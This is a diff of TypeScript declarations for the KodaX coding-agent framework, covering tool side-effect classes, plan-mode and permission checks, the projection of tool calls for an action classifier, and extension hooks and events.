+ /** Union of both handler types. Existing tools use ToolHandlerSync; new long-running tools may use ToolHandlerStreaming. */
384
+ type ToolHandler = ToolHandlerSync | ToolHandlerStreaming;
385
+ /**
386
+ * v0.7.42 — Declarative tool side-effect class.
387
+ *
388
+ * Required field on every {@link LocalToolDefinition}. Used by:
389
+ * - Plan mode: tools with `sideEffect !== 'readonly'` are blocked unless
390
+ * they explicitly opt in via `planModeAllowed: true` (e.g.
391
+ * `exit_plan_mode`, `task_stop`).
392
+ * - SDK embedders (KodaX Space etc.): iterate `getAllRegisteredTools()`
393
+ * and build their own blocklist by category — replaces the previous
394
+ * practice of hardcoding a `Set<string>` of tool names, which silently
395
+ * drifted whenever KodaX added a new tool.
396
+ * - Internal permission system: `FILE_MODIFICATION_TOOLS` and
397
+ * `MODIFICATION_TOOLS` exports in `@kodax-ai/repl` are now computed
398
+ * from this metadata at module load time, so adding a new
399
+ * `'mutates-fs'` tool here automatically reaches every callsite
400
+ * that consumes those sets.
401
+ *
402
+ * Categories (mutually exclusive; pick the dominant effect):
403
+ * - `'readonly'` — produces no observable side effect, just reads
404
+ * local state (FS, registry, computed views).
405
+ * - `'mutates-fs'` — writes to the local filesystem (write, edit,
406
+ * multi-edit, undo, worktree-*, construction
407
+ * artifacts). Bash is NOT in this bucket; it has
408
+ * its own.
409
+ * - `'mutates-shell'` — invokes an arbitrary shell command (bash).
410
+ * - `'mutates-network'` — performs a network request that may have side
411
+ * effects on the remote (web_fetch with any
412
+ * method, web_search, MCP server calls).
413
+ * - `'mutates-state'` — changes internal session/agent state without
414
+ * FS or shell side effects (todo_update,
415
+ * send_message, dispatch_child_task,
416
+ * exit_plan_mode, emit_managed_protocol).
417
+ *
418
+ * Pick the dominant effect when a tool touches multiple. e.g. `dispatch_
419
+ * child_task` may transitively run any tool, but its own direct effect is
420
+ * spawning a child agent (`mutates-state`).
421
+ */
422
+ type ToolSideEffect = 'readonly' | 'mutates-fs' | 'mutates-shell' | 'mutates-network' | 'mutates-state';
423
+ /**
424
+ * FEATURE_149 (v0.7.38) — interrupt-on-submit policy for in-flight tools.
425
+ *
426
+ * Controls whether submitting a new prompt while THIS tool is mid-execution
427
+ * triggers a fast-abort of the current agent round (so the new prompt starts
428
+ * immediately) or queues the prompt to run after the tool resolves.
429
+ *
430
+ * - `'cancel'` — long-running tools whose work the user is likely to want
431
+ * to abandon when they redirect (e.g., `bash` running a 30s script,
432
+ * `dispatch_child_task` synchronously awaiting a child, sleep-style
433
+ * tools). InkREPL submit handler aborts the round immediately.
434
+ *
435
+ * - `'wait'` (default) — atomic / fast tools (read, grep, glob, write,
436
+ * edit, …) where waiting for completion is cheaper than aborting and
437
+ * redoing.
438
+ *
439
+ * Mirrors Claude Code `interruptBehavior` (`utils/handlePromptSubmit.ts`).
440
+ */
441
+ type ToolInterruptBehavior = 'cancel' | 'wait';
442
+ interface LocalToolDefinition extends KodaXToolDefinition {
443
+ handler: ToolHandler;
444
+ /**
445
+ * v0.7.42 — Required declarative side-effect class. See
446
+ * {@link ToolSideEffect} for category definitions and rationale. Plan
447
+ * mode and SDK embedders' permission brokers consume this; failure to
448
+ * declare is a TypeScript error (by design — `sideEffect` is required,
449
+ * not optional, to prevent silent drift when new tools are added).
450
+ */
451
+ sideEffect: ToolSideEffect;
452
+ /**
453
+ * v0.7.42 — Optional plan-mode override.
454
+ *
455
+ * - `undefined` (default): plan-mode permits only `sideEffect ===
456
+ * 'readonly'` tools.
457
+ * - `true`: explicitly permitted in plan mode even when sideEffect is
458
+ * not `'readonly'`. Reserve for tools whose effect is itself part of
459
+ * the planning loop (`exit_plan_mode`, `task_stop`, `todo_update`,
460
+ * `todo_create`, `ask_user_question`).
461
+ * - `false`: explicitly blocked in plan mode even when sideEffect is
462
+ * `'readonly'`. Rare — useful for read-only tools whose output would
463
+ * leak content the planner should not see.
464
+ */
465
+ planModeAllowed?: boolean;
466
+ /**
467
+ * FEATURE_149 (v0.7.38) — submit-time interrupt policy. See
468
+ * {@link ToolInterruptBehavior}. Default `'wait'` when undefined.
469
+ */
470
+ interruptBehavior?: ToolInterruptBehavior;
471
+ /**
472
+ * Classifier projection — REQUIRED (FEATURE_092 v0.7.33).
473
+ *
474
+ * Returns a one-line string that the auto-mode classifier sees as the
475
+ * `<action>` to evaluate. The classifier asks: "Given the user's
476
+ * intent + rules, should the agent be allowed to run this?"
477
+ *
478
+ * THREE-TIER STRATEGY (pick by tool's risk profile):
479
+ *
480
+ * 1. ZERO RISK (read-only, structural):
481
+ * → return '' (Tier 1 — classifier is skipped entirely, zero token cost)
482
+ * Examples: read, grep, glob, ask_user_question, exit_plan_mode
483
+ *
484
+ * 2. HIGH RISK (mutates state, network, exec, spawn):
485
+ * → write a CUSTOM projection that surfaces the risk-bearing fields
486
+ * Examples: bash (`Bash: ${i.command}`), web_fetch (`WebFetch ${i.url}`)
487
+ * See `classifier-projection.ts` for examples by category.
488
+ *
489
+ * 3. LOW RISK (structured input, side-effect-capable):
490
+ * → return defaultToClassifierInput(name, input) (one-line helper)
491
+ * Examples: semantic_lookup (refresh: true rebuilds index)
492
+ *
493
+ * KEEP IT SHORT: ≤ 100 chars typical. Variable-length user-provided fields
494
+ * (bash command, URL, dispatch_child_task objective) may legitimately
495
+ * exceed this — the projection's job is to make the risk visible, not to
496
+ * fit a fixed budget at the cost of hiding it.
497
+ *
498
+ * NEVER include: raw file contents, secrets, API keys, full LLM-emitted
499
+ * reasoning, or untrusted text passed through verbatim. Use byte/line
500
+ * counts as proxies (`Write ${path} (${content.length} bytes)`).
501
+ *
502
+ * See `docs/features/v0.7.33.md` "Tool 接口扩展" for design rationale.
503
+ */
504
+ toClassifierInput: (input: unknown) => string;
505
+ }
506
+ interface ToolDefinitionSource {
507
+ /**
508
+ * Origin of the registered tool. `'constructed'` (FEATURE_087, v0.7.28)
509
+ * marks tools materialized at runtime by `ConstructionRuntime` from
510
+ * `.kodax/constructed/tools/<name>/<version>.json` artifacts.
511
+ */
512
+ kind: 'builtin' | 'extension' | 'constructed';
513
+ id?: string;
514
+ label?: string;
515
+ /**
516
+ * Constructed-only: semver of the activated artifact. Used by
517
+ * `findByVersion()` and by `revoke()` to locate a specific stack entry.
518
+ */
519
+ version?: string;
520
+ /**
521
+ * Constructed-only: absolute path to the artifact JSON on disk.
522
+ * Lets revoke / inspect operations round-trip back to the source of
523
+ * truth without re-globbing.
524
+ */
525
+ manifestPath?: string;
526
+ }
527
+ interface RegisteredToolDefinition extends LocalToolDefinition {
528
+ registrationId: string;
529
+ requiredParams: string[];
530
+ source: ToolDefinitionSource;
531
+ }
532
+ interface ToolRegistrationOptions {
533
+ source?: ToolDefinitionSource;
534
+ }
535
+ type ToolRegistry = Map<string, RegisteredToolDefinition[]>;
536
+ type KodaXRetrievalToolName = 'web_search' | 'web_fetch' | 'code_search' | 'semantic_lookup' | 'mcp_search' | 'mcp_describe' | 'mcp_call' | 'mcp_read_resource' | 'mcp_get_prompt';
537
+ type KodaXRetrievalScope = 'workspace' | 'remote';
538
+ type KodaXRetrievalTrust = 'workspace' | 'provider' | 'open-world';
539
+ type KodaXRetrievalFreshness = 'fresh' | 'snapshot' | 'unknown';
540
+ interface KodaXRetrievalArtifact {
541
+ kind: 'url' | 'path' | 'symbol' | 'module' | 'process' | 'provider';
542
+ label: string;
543
+ value: string;
544
+ }
545
+ interface KodaXRetrievalItem {
546
+ title: string;
547
+ locator?: string;
548
+ snippet?: string;
549
+ score?: number;
550
+ metadata?: Record<string, unknown>;
551
+ }
552
+ interface KodaXRetrievalResult {
553
+ tool: KodaXRetrievalToolName;
554
+ query?: string;
555
+ scope: KodaXRetrievalScope;
556
+ trust: KodaXRetrievalTrust;
557
+ freshness: KodaXRetrievalFreshness;
558
+ provider?: string;
559
+ summary: string;
560
+ content?: string;
561
+ items: KodaXRetrievalItem[];
562
+ artifacts?: KodaXRetrievalArtifact[];
563
+ metadata?: Record<string, unknown>;
564
+ }
565
+
566
+ declare const KODAX_TOOLS: KodaXToolDefinition[];
567
+ declare function registerTool(definition: LocalToolDefinition, options?: ToolRegistrationOptions): () => void;
568
+ declare function getTool(name: string): ToolHandler | undefined;
569
+ declare function getToolDefinition(name: string): KodaXToolDefinition | undefined;
570
+ declare function getRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
571
+ declare function getToolRegistrations(name: string): RegisteredToolDefinition[];
572
+ declare function getBuiltinToolDefinition(name: string): KodaXToolDefinition | undefined;
573
+ declare function getBuiltinRegisteredToolDefinition(name: string): RegisteredToolDefinition | undefined;
574
+ declare function createBuiltinToolDefinition(name: string): LocalToolDefinition | undefined;
575
+ declare function listBuiltinToolDefinitions(): RegisteredToolDefinition[];
576
+ /**
577
+ * v0.7.42 — snapshot of every currently-active tool registration.
578
+ *
579
+ * Returns the most-recent registration for each tool name (mirroring
580
+ * {@link getRegisteredToolDefinition}'s single-name semantics across the
581
+ * full registry). Use this to drive metadata-based filters such as:
582
+ *
583
+ * - SDK embedder permission brokers building a blocklist by side-effect class:
584
+ * `getAllRegisteredTools().filter(t => t.sideEffect !== 'readonly')`
585
+ * - UI that displays available tools grouped by category.
586
+ * - Plan-mode gates that compute their own blocklist from metadata
587
+ * instead of hardcoded `Set<string>` of names.
588
+ *
589
+ * The returned array is a fresh copy per call (safe to mutate without
590
+ * affecting the registry). Order is registration order (sorted by name
591
+ * within each registration to keep the snapshot deterministic).
592
+ */
593
+ declare function getAllRegisteredTools(): RegisteredToolDefinition[];
594
+ /**
595
+ * v0.7.42 — plan-mode permit check driven by tool metadata.
596
+ *
597
+ * - `sideEffect === 'readonly'` ⇒ permitted (unless explicitly
598
+ * `planModeAllowed: false`).
599
+ * - `planModeAllowed: true` ⇒ permitted (overrides non-readonly).
600
+ * - any other sideEffect ⇒ blocked.
601
+ *
602
+ * Returns `false` for unknown tool names (fail-closed). Use this in
603
+ * preference to hardcoded `Set<string>` of tool names — adding a new
604
+ * `'mutates-fs'` builtin will flow through automatically.
605
+ */
606
+ declare function isToolPlanModeAllowed(name: string): boolean;
607
+ /**
608
+ * v0.7.42 — does this tool mutate the filesystem?
609
+ *
610
+ * Wraps `sideEffect === 'mutates-fs'`. Used by the REPL permission
611
+ * pipeline's gitRoot guard and Space's permission broker. Replaces the
612
+ * previous practice of hardcoding `Set(["write", "edit"])`-style lookups
613
+ * scattered across 5+ callsites.
614
+ */
615
+ declare function isToolFileMutation(name: string): boolean;
616
+ /**
617
+ * v0.7.42 — does this tool mutate anything (FS, shell, network, state)?
618
+ *
619
+ * True for every `sideEffect` except `'readonly'`. Fail-closed (unknown
620
+ * names return `true` — assumed mutating until proven otherwise).
621
+ */
622
+ declare function isToolMutation(name: string): boolean;
623
+ declare function getRequiredToolParams(name: string): string[];
624
+ declare function listTools(): string[];
625
+ declare function listToolDefinitions(): KodaXToolDefinition[];
626
+ declare function executeTool(name: string, input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
627
+
628
+ declare function toolRead(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string | readonly KodaXToolResultContentItem[]>;
629
+
630
+ declare function toolWrite(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
631
+
632
+ type EditToolErrorCode = 'EDIT_NOT_FOUND' | 'EDIT_AMBIGUOUS' | 'EDIT_TOO_LARGE';
633
+ interface EditRecoveryDiagnostic {
634
+ code: EditToolErrorCode;
635
+ filePath: string;
636
+ candidates: Array<{
637
+ startLine: number;
638
+ endLine: number;
639
+ preview: string;
640
+ excerpt: string;
641
+ }>;
642
+ }
643
+ declare function toolEdit(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
644
+ declare function parseEditToolError(result: string): EditToolErrorCode | undefined;
645
+ declare function inspectEditFailure(pathValue: string, oldString: string, ctx: KodaXToolExecutionContext, windowLines: number): Promise<EditRecoveryDiagnostic>;
646
+
647
+ declare function toolInsertAfterAnchor(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
648
+
649
+ declare function toolBash(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
650
+
651
+ /**
652
+ * KodaX Glob Tool
653
+ *
654
+ * 文件搜索工具
655
+ */
656
+
657
+ declare function toolGlob(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
658
+
659
+ declare function toolGrep(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
660
+
661
+ /**
662
+ * KodaX Undo Tool
663
+ *
664
+ * 撤销工具 - 恢复最后一次文件修改
665
+ */
666
+
667
+ declare function toolUndo(_input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
668
+
669
+ /**
670
+ * KodaX AskUserQuestion Tool
671
+ *
672
+ * 交互式提问工具 - 允许 LLM 在需要时主动向用户提问
673
+ * Supports: single-select, multi-select, free-text input, and multi-question modes.
674
+ */
675
+
676
+ /**
677
+ * Ask user a question with multiple interaction modes.
678
+ *
679
+ * This tool requires context.askUser (select) or context.askUserInput (input)
680
+ * callback to be provided by the REPL layer.
681
+ */
682
+ declare function toolAskUserQuestion(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
683
+
684
+ declare function toolRepoOverview(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
685
+
686
+ declare function toolChangedScope(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
687
+
688
+ declare function toolChangedDiff(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
689
+
690
+ declare function toolModuleContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
691
+
692
+ declare function toolSymbolContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
693
+
694
+ declare function toolProcessContext(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
695
+
696
+ declare function toolImpactEstimate(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
697
+
698
+ declare function toolWebSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
699
+
700
+ declare function toolWebFetch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
701
+
702
+ declare function toolCodeSearch(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
703
+
704
+ declare function toolSemanticLookup(input: Record<string, unknown>, ctx: KodaXToolExecutionContext): Promise<string>;
705
+
706
+ interface ExecOptions {
707
+ /** Extra environment variables to inject (merged with safe base env). */
708
+ readonly env?: Readonly<Record<string, string>>;
709
+ /** Working directory. Defaults to process.cwd(). */
710
+ readonly cwd?: string;
711
+ /** Timeout in milliseconds. Defaults to 30000. */
712
+ readonly timeout?: number;
713
+ /** Shell to use. Defaults to 'bash' on Unix, 'powershell' on Windows. */
714
+ readonly shell?: 'bash' | 'powershell';
715
+ }
716
+ interface ExecResult {
717
+ readonly exitCode: number;
718
+ readonly stdout: string;
719
+ readonly stderr: string;
720
+ }
721
+ /**
722
+ * Run a shell command with a sandboxed environment.
723
+ *
724
+ * SECURITY: Only a whitelist of safe environment variables is passed to the
725
+ * subprocess. API keys and tokens from the parent environment are NOT inherited.
726
+ */
727
+ declare function exec(command: string, options?: ExecOptions): Promise<ExecResult>;
728
+ interface WebhookOptions {
729
+ /** HTTP method. Defaults to 'POST'. */
730
+ readonly method?: 'POST' | 'PUT';
731
+ /** Extra HTTP headers. */
732
+ readonly headers?: Readonly<Record<string, string>>;
733
+ /** Timeout in milliseconds. Defaults to 10000. */
734
+ readonly timeout?: number;
735
+ }
736
+ interface WebhookResult {
737
+ readonly ok: boolean;
738
+ readonly status: number;
739
+ readonly body?: string;
740
+ }
741
+ /**
742
+ * Send an HTTP webhook with timeout support.
743
+ * Returns a result object instead of throwing on errors.
744
+ */
745
+ declare function webhook(url: string, payload: unknown, options?: WebhookOptions): Promise<WebhookResult>;
746
+
747
+ interface ModelProviderRegistration {
748
+ name: string;
749
+ factory: () => KodaXBaseProvider;
750
+ }
751
+ interface ExtensionCommandDefinition {
752
+ name: string;
753
+ aliases?: string[];
754
+ description: string;
755
+ usage?: string;
756
+ metadata?: Record<string, unknown>;
757
+ handler: (args: string[], context: ExtensionCommandContext) => Promise<ExtensionCommandResult | void> | ExtensionCommandResult | void;
758
+ }
759
+ interface ExtensionModelSelection {
760
+ provider?: string;
761
+ model?: string;
762
+ }
763
+ interface ExtensionLogger {
764
+ debug: (...args: unknown[]) => void;
765
+ info: (...args: unknown[]) => void;
766
+ warn: (...args: unknown[]) => void;
767
+ error: (...args: unknown[]) => void;
768
+ }
769
+ interface ExtensionFileContributionSource {
770
+ kind: 'extension';
771
+ id: string;
772
+ label: string;
773
+ path: string;
774
+ }
775
+ interface RuntimeContributionSource {
776
+ kind: 'runtime';
777
+ id: string;
778
+ label: string;
779
+ path?: string;
780
+ }
781
+ type ExtensionContributionSource = ExtensionFileContributionSource | RuntimeContributionSource;
782
+ type ExtensionLoadSource = 'api' | 'cli' | 'config';
783
+ interface LoadedExtensionDiagnostic {
784
+ path: string;
785
+ label: string;
786
+ loadSource: ExtensionLoadSource;
787
+ sessionStateKeys?: string[];
788
+ sessionRecordCounts?: Record<string, number>;
789
+ }
790
+ interface RegisteredCapabilityProviderDiagnostic {
791
+ id: string;
792
+ kinds: CapabilityKind[];
793
+ source: ExtensionContributionSource;
794
+ metadata?: Record<string, unknown>;
795
+ }
796
+ interface RegisteredCommandDiagnostic {
797
+ name: string;
798
+ aliases?: string[];
799
+ description: string;
800
+ usage?: string;
801
+ metadata?: Record<string, unknown>;
802
+ source: ExtensionContributionSource;
803
+ }
804
+ interface RegisteredToolDiagnostic {
805
+ name: string;
806
+ description: string;
807
+ requiredParams: string[];
808
+ source: RegisteredToolDefinition['source'];
809
+ shadowedSources: RegisteredToolDefinition['source'][];
810
+ }
811
+ interface RegisteredHookDiagnostic {
812
+ hook: keyof ExtensionHookMap;
813
+ order: number;
814
+ source: ExtensionContributionSource;
815
+ }
816
+ type ExtensionFailureStage = 'load' | 'reload' | 'event' | 'hook' | 'persistence';
817
+ interface ExtensionFailureDiagnostic {
818
+ stage: ExtensionFailureStage;
819
+ target: string;
820
+ message: string;
821
+ occurredAt: string;
822
+ source: ExtensionContributionSource;
823
+ }
824
+ interface ExtensionRuntimeDiagnostics {
825
+ loadedExtensions: LoadedExtensionDiagnostic[];
826
+ capabilityProviders: RegisteredCapabilityProviderDiagnostic[];
827
+ commands: RegisteredCommandDiagnostic[];
828
+ tools: RegisteredToolDiagnostic[];
829
+ hooks: RegisteredHookDiagnostic[];
830
+ failures: ExtensionFailureDiagnostic[];
831
+ defaults: {
832
+ activeTools?: string[];
833
+ modelSelection: ExtensionModelSelection;
834
+ thinkingLevel?: KodaXReasoningMode;
835
+ };
836
+ }
837
+ interface ExtensionCommandInvocation {
838
+ prompt: string;
839
+ displayName?: string;
840
+ disableModelInvocation?: boolean;
841
+ allowedTools?: string;
842
+ context?: 'fork';
843
+ model?: string;
844
+ }
845
+ interface ExtensionCommandResult {
846
+ success?: boolean;
847
+ message?: string;
848
+ data?: unknown;
849
+ invocation?: ExtensionCommandInvocation;
850
+ }
851
+ interface ExtensionCommandContext {
852
+ sessionId?: string;
853
+ gitRoot?: string;
854
+ workingDirectory: string;
855
+ reloadExtensions: () => Promise<void>;
856
+ getDiagnostics: () => ExtensionRuntimeDiagnostics;
857
+ logger: ExtensionLogger;
858
+ }
859
+ interface ExtensionToolBeforeHookContext {
860
+ name: string;
861
+ input: Record<string, unknown>;
862
+ toolId?: string;
863
+ executionCwd?: string;
864
+ gitRoot?: string;
865
+ }
866
+ interface ExtensionProviderBeforeHookContext {
867
+ provider: string;
868
+ model?: string;
869
+ reasoningMode?: KodaXReasoningMode;
870
+ systemPrompt: string;
871
+ block: (reason: string) => void;
872
+ replaceProvider: (provider: string) => void;
873
+ replaceModel: (model?: string) => void;
874
+ replaceSystemPrompt: (systemPrompt: string) => void;
875
+ setThinkingLevel: (level: KodaXReasoningMode) => void;
876
+ }
877
+ interface ExtensionTurnSettleHookContext {
878
+ sessionId: string;
879
+ lastText: string;
880
+ hadToolCalls: boolean;
881
+ success: boolean;
882
+ signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
883
+ queueUserMessage: (message: string | KodaXMessage) => void;
884
+ setModelSelection: (next: ExtensionModelSelection) => void;
885
+ setThinkingLevel: (level: KodaXReasoningMode) => void;
886
+ }
887
+ /**
888
+ * FEATURE_184 (v0.7.45) — Stop Hook bridge context for extensions.
889
+ *
890
+ * Fires ONLY when the model terminates a turn text-only (no tool_use)
891
+ * — a strict subset of `turn:settle`, which fires on every turn end
892
+ * including mid-task tool turns. Use this hook for verification or
893
+ * "is the task actually done?" checks. The three-state return surface
894
+ * mirrors `RunOptions.stopHook` at the agent layer; the bridge passes
895
+ * the extension's return through unchanged.
896
+ *
897
+ * Coding-layer first-party consumers (Sidecar Verifier, FEATURE_184
898
+ * Phase D) wire directly to the agent `stopHook`. Third-party
899
+ * extensions write `api.hook('turn:complete', handler)` and the bridge
900
+ * dispatches to them inside the agent's `stopHook` callback. Handlers
901
+ * fire in registration order, first non-`void` return short-circuits
902
+ * the chain (matches `tool:before` semantics).
903
+ *
904
+ * Scope note: this hook fires on the AMA `runner-driven` path only
905
+ * (main loop, B1 retry, V2 worker). SA-path child agents dispatched
906
+ * via `dispatch_child_task` go through `runKodaX` and do NOT trigger
907
+ * this hook — observe their lifecycle via `turn:settle` on the SA
908
+ * path. Extensions wanting "every agent termination" semantics must
909
+ * register both hooks.
910
+ */
911
+ interface ExtensionTurnCompleteHookContext {
912
+ sessionId: string;
913
+ lastAssistantText: string;
914
+ signal: 'natural-end';
915
+ reanimateCount: number;
916
+ reanimateBudget: number;
917
+ }
918
+ /**
919
+ * FEATURE_184 (v0.7.45) — Extension `turn:complete` return surface.
920
+ *
921
+ * - `void` / `undefined` → accept the termination, defer to next
922
+ * handler (or fall through to agent terminal path if none).
923
+ * - `string` → reanimate: synthesize a user message, run another
924
+ * turn. Bounded by Runner's `stopHookReanimateBudget`.
925
+ * - `{ abort: true, reason }` → halt the run, surface reason to
926
+ * caller via `RunResult.output` + `stoppedByHook = true`.
927
+ */
928
+ type ExtensionTurnCompleteHookResult = void | string | {
929
+ readonly abort: true;
930
+ readonly reason: string;
931
+ };
932
+ interface ExtensionSessionHydrateHookContext {
933
+ sessionId: string;
934
+ getState: <T = KodaXJsonValue>(key: string) => T | undefined;
935
+ setState: (key: string, value: KodaXJsonValue | undefined) => void;
936
+ listRecords: (type?: string) => KodaXExtensionSessionRecord[];
937
+ appendRecord: (type: string, data?: KodaXJsonValue, options?: {
938
+ dedupeKey?: string;
939
+ }) => KodaXExtensionSessionRecord | undefined;
940
+ clearRecords: (type?: string) => number;
941
+ }
942
+ interface ExtensionEventMap {
943
+ 'session:start': {
944
+ provider: string;
945
+ sessionId: string;
946
+ };
947
+ 'turn:start': {
948
+ sessionId: string;
949
+ iteration: number;
950
+ maxIter: number;
951
+ };
952
+ 'text:delta': {
953
+ text: string;
954
+ };
955
+ 'thinking:delta': {
956
+ text: string;
957
+ };
958
+ 'thinking:end': {
959
+ thinking: string;
960
+ };
961
+ 'tool:start': {
962
+ name: string;
963
+ id: string;
964
+ input?: Record<string, unknown>;
965
+ };
966
+ 'tool:result': {
967
+ id: string;
968
+ name: string;
969
+ content: string;
970
+ };
971
+ 'provider:selected': {
972
+ provider: string;
973
+ model?: string;
974
+ };
975
+ 'provider:rate-limit': {
976
+ provider: string;
977
+ attempt: number;
978
+ maxRetries: number;
979
+ delayMs: number;
980
+ };
981
+ 'capability:search': {
982
+ providerId: string;
983
+ query: string;
984
+ kind?: CapabilityKind;
985
+ limit?: number;
986
+ };
987
+ 'capability:describe': {
988
+ providerId: string;
989
+ capabilityId: string;
990
+ };
991
+ 'capability:invoke': {
992
+ providerId: string;
993
+ capabilityId: string;
994
+ kind: CapabilityKind;
995
+ };
996
+ 'capability:refresh': {
997
+ providerId: string;
998
+ };
999
+ 'stream:end': undefined;
1000
+ 'turn:end': {
1001
+ sessionId: string;
1002
+ iteration: number;
1003
+ lastText: string;
1004
+ hadToolCalls: boolean;
1005
+ signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
1006
+ };
1007
+ 'complete': {
1008
+ success: boolean;
1009
+ signal?: 'COMPLETE' | 'BLOCKED' | 'DECIDE';
1010
+ };
1011
+ 'error': {
1012
+ error: Error;
1013
+ };
1014
+ 'todo:created': {
1015
+ id: string;
1016
+ item: KodaXTodoItem;
1017
+ source: TodoMutationSource;
1018
+ };
1019
+ 'todo:updated': {
1020
+ id: string;
1021
+ before: KodaXTodoItem;
1022
+ after: KodaXTodoItem;
1023
+ changedFields: readonly (keyof KodaXTodoItem)[];
1024
+ source: TodoMutationSource;
1025
+ };
1026
+ 'todo:deleted': {
1027
+ id: string;
1028
+ item: KodaXTodoItem;
1029
+ source: TodoMutationSource;
1030
+ };
1031
+ }
1032
+ /**
1033
+ * FEATURE_170 v0.7.41 — provenance tag for todo:* events / hooks. Lets
1034
+ * extension authors distinguish LLM-driven mutations (`tool`) from
1035
+ * runner-side automation (`internal`) — e.g. an extension that audits
1036
+ * todo churn should ignore `internal` flips to avoid false positives.
1037
+ */
1038
+ type TodoMutationSource = 'tool' | 'internal';
1039
+ /**
1040
+ * FEATURE_170 v0.7.41 — seed shape passed to `'todo:before-create'`.
1041
+ * Mirrors `TodoAddSeed` from todo-store.ts (kept structurally compatible
1042
+ * to avoid coupling extension authors to the internal task-engine type).
1043
+ *
1044
+ * v0.7.42 — `content` renamed to `subject` + optional `description` to
1045
+ * match claudecode V2 `TaskCreateTool` schema. See `TodoItem` JSDoc in
1046
+ * packages/coding/src/types.ts.
1047
+ */
1048
+ interface ExtensionTodoCreateSeed {
1049
+ readonly subject: string;
1050
+ readonly description?: string;
1051
+ readonly activeForm?: string;
1052
+ readonly evaluator?: 'build' | 'test' | 'lint';
1053
+ readonly owner?: string;
1054
+ readonly sourceObligationIndex?: number;
1055
+ readonly metadata?: Record<string, unknown>;
1056
+ }
1057
+ /**
1058
+ * FEATURE_170 v0.7.41 — minimal todo item shape exposed to extensions
1059
+ * via the todo:* events. Kept structurally identical to the engine's
1060
+ * `TodoItem` so the runtime can pass values straight through without
1061
+ * conversion, but redeclared here so extension consumers don't import
1062
+ * from `packages/coding/src/types.ts` (which is task-engine internal).
1063
+ *
1064
+ * Drift guard: a compile-time assignability assertion at the bottom of
1065
+ * this file fires if `TodoItem` (engine) gains a field that this
1066
+ * extension-facing shape does NOT mirror — see `__todoItemParity` below.
1067
+ */
1068
+ interface KodaXTodoItem {
1069
+ readonly id: string;
1070
+ /** v0.7.42 — see TodoItem.subject JSDoc in packages/coding/src/types.ts. */
1071
+ readonly subject: string;
1072
+ readonly description?: string;
1073
+ readonly status: 'pending' | 'in_progress' | 'completed' | 'failed' | 'skipped' | 'cancelled';
1074
+ readonly owner?: string;
1075
+ readonly sourceObligationIndex?: number;
1076
+ readonly note?: string;
1077
+ readonly evaluator?: 'build' | 'test' | 'lint';
1078
+ readonly activeForm?: string;
1079
+ readonly metadata?: Record<string, unknown>;
1080
+ }
1081
+ interface ExtensionHookMap {
1082
+ 'tool:before': (context: ExtensionToolBeforeHookContext) => Promise<void | string | false> | void | string | false;
1083
+ 'provider:before': (context: ExtensionProviderBeforeHookContext) => Promise<void> | void;
1084
+ 'turn:settle': (context: ExtensionTurnSettleHookContext) => Promise<void> | void;
1085
+ 'turn:complete': (context: ExtensionTurnCompleteHookContext) => Promise<ExtensionTurnCompleteHookResult> | ExtensionTurnCompleteHookResult;
1086
+ 'session:hydrate': (context: ExtensionSessionHydrateHookContext) => Promise<void> | void;
1087
+ 'todo:before-create': (context: {
1088
+ seed: ExtensionTodoCreateSeed;
1089
+ }) => Promise<void | string | false> | void | string | false;
1090
+ 'todo:before-complete': (context: {
1091
+ id: string;
1092
+ item: KodaXTodoItem;
1093
+ }) => Promise<void | string | false> | void | string | false;
1094
+ }
1095
+ interface ExtensionRuntimeController {
1096
+ queueUserMessage(message: string | KodaXMessage): void;
1097
+ getSessionState<T = KodaXJsonValue>(key: string): T | undefined;
1098
+ setSessionState(key: string, value: KodaXJsonValue | undefined): void;
1099
+ appendSessionRecord(type: string, data?: KodaXJsonValue, options?: {
1100
+ dedupeKey?: string;
1101
+ }): KodaXExtensionSessionRecord | undefined;
1102
+ listSessionRecords(type?: string): KodaXExtensionSessionRecord[];
1103
+ clearSessionRecords(type?: string): number;
1104
+ getActiveTools(): string[];
1105
+ setActiveTools(toolNames: string[]): void;
1106
+ getModelSelection(): ExtensionModelSelection;
1107
+ setModelSelection(next: ExtensionModelSelection): void;
1108
+ getThinkingLevel(): KodaXReasoningMode | undefined;
1109
+ setThinkingLevel(level: KodaXReasoningMode): void;
1110
+ }
1111
+ interface KodaXExtensionAPI {
1112
+ registerTool: (definition: LocalToolDefinition) => () => void;
1113
+ getTool: (name: string) => RegisteredToolDefinition | undefined;
1114
+ getBuiltinTool: (name: string) => RegisteredToolDefinition | undefined;
1115
+ registerModelProvider: (registration: ModelProviderRegistration) => () => void;
1116
+ registerCapabilityProvider: (provider: CapabilityProvider) => () => void;
1117
+ registerCommand: (command: ExtensionCommandDefinition) => () => void;
1118
+ registerSkillPath: (skillPath: string) => () => void;
1119
+ on: <TEvent extends keyof ExtensionEventMap>(event: TEvent, handler: (payload: ExtensionEventMap[TEvent]) => Promise<void> | void) => () => void;
1120
+ hook: <THook extends keyof ExtensionHookMap>(hook: THook, handler: ExtensionHookMap[THook]) => () => void;
1121
+ logger: ExtensionLogger;
1122
+ config: Readonly<Record<string, unknown>>;
1123
